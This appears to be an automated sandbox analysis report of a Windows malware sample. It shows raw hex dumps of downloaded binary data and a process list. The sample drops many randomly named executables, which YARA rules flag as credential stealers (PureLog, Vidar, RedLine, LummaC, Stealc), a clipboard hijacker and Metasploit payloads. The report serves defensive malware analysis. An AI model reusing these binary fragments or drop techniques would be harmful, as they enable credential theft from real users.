2024-09-11 14:24:48 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-11 14:24:48 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-09-11 14:24:48 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-11 14:24:48 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-11 14:24:48 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-11 14:24:48 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-11 14:24:48 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-11 14:24:48 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-11 14:24:48 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-09-11 14:24:50 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Target ID:	0
Start time:	10:22:05
Start date:	11/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x570000
File size:	12'713'984 bytes
MD5 hash:	269A751B0C6D68CC39B2267C1592DAE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:22:06
Start date:	11/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:22:40
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe
Imagebase:	0x650000
File size:	289'832 bytes
MD5 hash:	D264213F54193475FFD0301F7D92639F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:22:40
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe
Imagebase:	0x7ff7b2f60000
File size:	6'626'133 bytes
MD5 hash:	68821531A37BA7822FD5D67019733B6B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:22:40
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe
Imagebase:	0x5d0000
File size:	8'684'256 bytes
MD5 hash:	B5887A19FE50BFA32B524AAAD0A453BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:22:40
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe
Imagebase:	0x400000
File size:	1'041'416 bytes
MD5 hash:	0FFEE13FF36C1CD606D032450DEB5AC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe
Imagebase:	0x170000
File size:	320'000 bytes
MD5 hash:	7F763112FF2D56B045084192E1FF9FF9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000009.00000002.2184185015.0000000003415000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe
Imagebase:	0x400000
File size:	3'456'914 bytes
MD5 hash:	AC08E549A6385F3278706D1CAD08F5B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe
Imagebase:	0xf20000
File size:	2'590'720 bytes
MD5 hash:	0FEEBE85E6413561E738588CAD1076A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000000.2062981963.0000000000F22000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe
Imagebase:	0x7a0000
File size:	21'402'624 bytes
MD5 hash:	0BD8936501F04777F9C8684B417B6399
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 0000000C.00000002.2542689715.00000000033E6000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 0000000C.00000002.2542689715.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000C.00000002.2414785317.0000000002C96000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe
Imagebase:	0x900000
File size:	289'832 bytes
MD5 hash:	E1001C8649AC77FAEB446D8FF91F50D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000000D.00000002.2175074041.0000000003C0E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe
Imagebase:	0x400000
File size:	6'623'829 bytes
MD5 hash:	BBB65776463DD9EA77B58E098A461A56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker_5, Description: Yara detected Clipboard Hijacker, Source: 0000000E.00000002.3280362120.000000000142F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe
Imagebase:	0x2f0000
File size:	210'472 bytes
MD5 hash:	DBB43B8EFB997DE4CE00A09D935C0F5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe
Imagebase:	0x7c0000
File size:	1'751'040 bytes
MD5 hash:	B7E094CBC9D971FDE82441821F564D37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe
Imagebase:	0x630000
File size:	513'024 bytes
MD5 hash:	8251E639862C3EBF4DEB3A89FB0CF7C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000002.2169176803.0000000003885000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
Imagebase:	0x400000
File size:	1'811'225 bytes
MD5 hash:	BDEFC54E5FE6F091F968A28AA63783BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe
Imagebase:	0x140000000
File size:	11'158'528 bytes
MD5 hash:	079D166295BAFA2AB44902C8BF5FF2A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:22:41
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:22:43
Start date:	11/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	10:22:44
Start date:	11/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000001A.00000002.2955377262.0000000000439000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:22:44
Start date:	11/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
